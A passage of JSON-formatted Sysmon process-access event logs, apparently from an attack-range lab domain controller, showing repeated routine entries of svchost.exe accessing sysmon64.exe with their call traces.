C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.100","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4521,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.100\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.100","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4522,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.100\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.100","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4523,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.100\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.100","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4524,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.100\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.100","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4525,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.100\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.100","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4526,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.100\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.100","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4527,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.115\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.115","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4528,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.115\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 